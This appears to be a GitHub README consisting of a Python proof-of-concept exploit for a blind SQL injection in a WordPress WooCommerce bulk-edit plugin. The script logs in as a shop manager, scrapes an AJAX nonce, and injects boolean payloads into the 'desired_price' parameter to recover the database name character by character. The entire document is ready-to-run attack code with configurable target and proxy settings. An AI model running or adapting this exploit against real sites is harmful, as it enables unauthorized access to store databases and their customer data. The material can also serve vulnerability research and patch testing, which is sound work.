README.md
Rendering markdown...
import requests
import sys
import string
import re
class WordPressSQLInjector:
def __init__(self, target, login_id, login_pw, proxies):
self.target = target
self.session = requests.session()
self.nonce = None
self.proxies = proxies
self.login_id = login_id
self.login_pw = login_pw
def login(self):
data = {
"log": self.login_id,
"pwd": self.login_pw,
"wp-submit": "Log In",
"testcookie": 1,
}
resp = self.session.post(f"{self.target}/wp-login.php", data=data, proxies=self.proxies)
if any("wordpress_logged_in_" in cookie for cookie in resp.cookies.keys()):
print(f" |- Successfully logged in with account {self.login_id}.")
else:
raise Exception("[-] Login failed.")
def get_nonce(self, page_url):
"""
Extract the _ajax_eh_bep_nonce value from the specified page.
"""
resp = self.session.get(url=page_url, proxies=self.proxies)
pattern = r'name="_ajax_eh_bep_nonce" value=\"(.{10})\"'
match = re.search(pattern, resp.text)
if match:
self.nonce = match.group(1)
print(f" |- Successfully extracted nonce: {self.nonce}")
else:
raise ValueError("Failed to extract _ajax_eh_bep_nonce.")
def create_payload(self, payload):
"""
Generate a payload dictionary dynamically with the extracted nonce.
"""
if not self.nonce:
raise ValueError("_ajax_eh_bep_nonce is not set. Call `get_nonce` first.")
return {
"paged": "1",
"_ajax_eh_bep_nonce": self.nonce,
"action": "eh_bep_filter_products",
"sub_category_filter": "",
"attribute": "",
"product_title_select": "all",
"product_title_text": "",
"regex_flags": "",
"attribute_value_filter": "",
"attribute_and": "",
"attribute_value_and_filter": "",
"range": "=",
"desired_price": payload,
"minimum_price": "",
"maximum_price": "",
"exclude_ids": "",
"exclude_subcat_check": "0",
"enable_exclude_prods": "0",
}
def find_database_length(self, ajax_url):
"""
Find the length of the database name using SQL injection.
"""
database_length = 0
while True:
sys.stdout.write(f"\rFinding database name length... Current database length: {database_length}")
sys.stdout.flush()
payload = f"1 OR LENGTH(DATABASE()) = {database_length}"
resp = self.session.post(url=ajax_url, data=self.create_payload(payload), proxies=self.proxies)
if resp.json()["total_items_count"] != 0:
sys.stdout.write("\r" + " " * 60 + "\r")
print("*" * 40)
print("Successfully found database name length!")
print(f"Database name length: {database_length}")
print("*" * 40)
return database_length
database_length += 1
def extract_database_name(self, ajax_url, database_length):
"""
Extract the database name character by character using SQL injection.
"""
database_name = ''
charset = string.ascii_letters + string.digits + "_"
print("Starting database name extraction...")
for i in range(1, database_length + 1):
for char in charset:
ascii_value = ord(char)
payload = f"1 OR ASCII(SUBSTRING(DATABASE(), {i}, 1)) = {ascii_value}"
resp = self.session.post(url=ajax_url, data=self.create_payload(payload), proxies=self.proxies)
try:
is_true = resp.json()["total_items_count"] != 0
except (KeyError, ValueError, requests.exceptions.JSONDecodeError):
print(f"\nJSON response error occurred: {resp.text}")
is_true = False
if is_true:
database_name += char
sys.stdout.write(f"\rCurrent database name: {database_name}")
sys.stdout.flush()
break
sys.stdout.write("\r" + " " * 80 + "\r")
print("*" * 40)
print("Successfully extracted database name!")
print(f"Database name: {database_name}")
print("*" * 40)
return database_name
if __name__ == '__main__':
# Configuration
TARGET = "http://localhost:8080"
# Shop Manager OR Administrator
LOGIN_ID = "shop_manager"
LOGIN_PW = "shop_manager"
NONCE_PAGE = f"{TARGET}/wp-admin/admin.php?page=eh-bulk-edit-product-attr"
AJAX_URL = f"{TARGET}/wp-admin/admin-ajax.php"
# Enter the proxy server address in the variable below if you want to configure a proxy.
PROXY_SERVER = None
PROXY_CONFIG = {
"https": PROXY_SERVER,
"http": PROXY_SERVER,
}
# Initialize and perform SQL Injection
injector = WordPressSQLInjector(TARGET, LOGIN_ID, LOGIN_PW, proxies=PROXY_CONFIG)
injector.login()
injector.get_nonce(NONCE_PAGE)
database_length = injector.find_database_length(AJAX_URL)
database_name = injector.extract_database_name(AJAX_URL, database_length)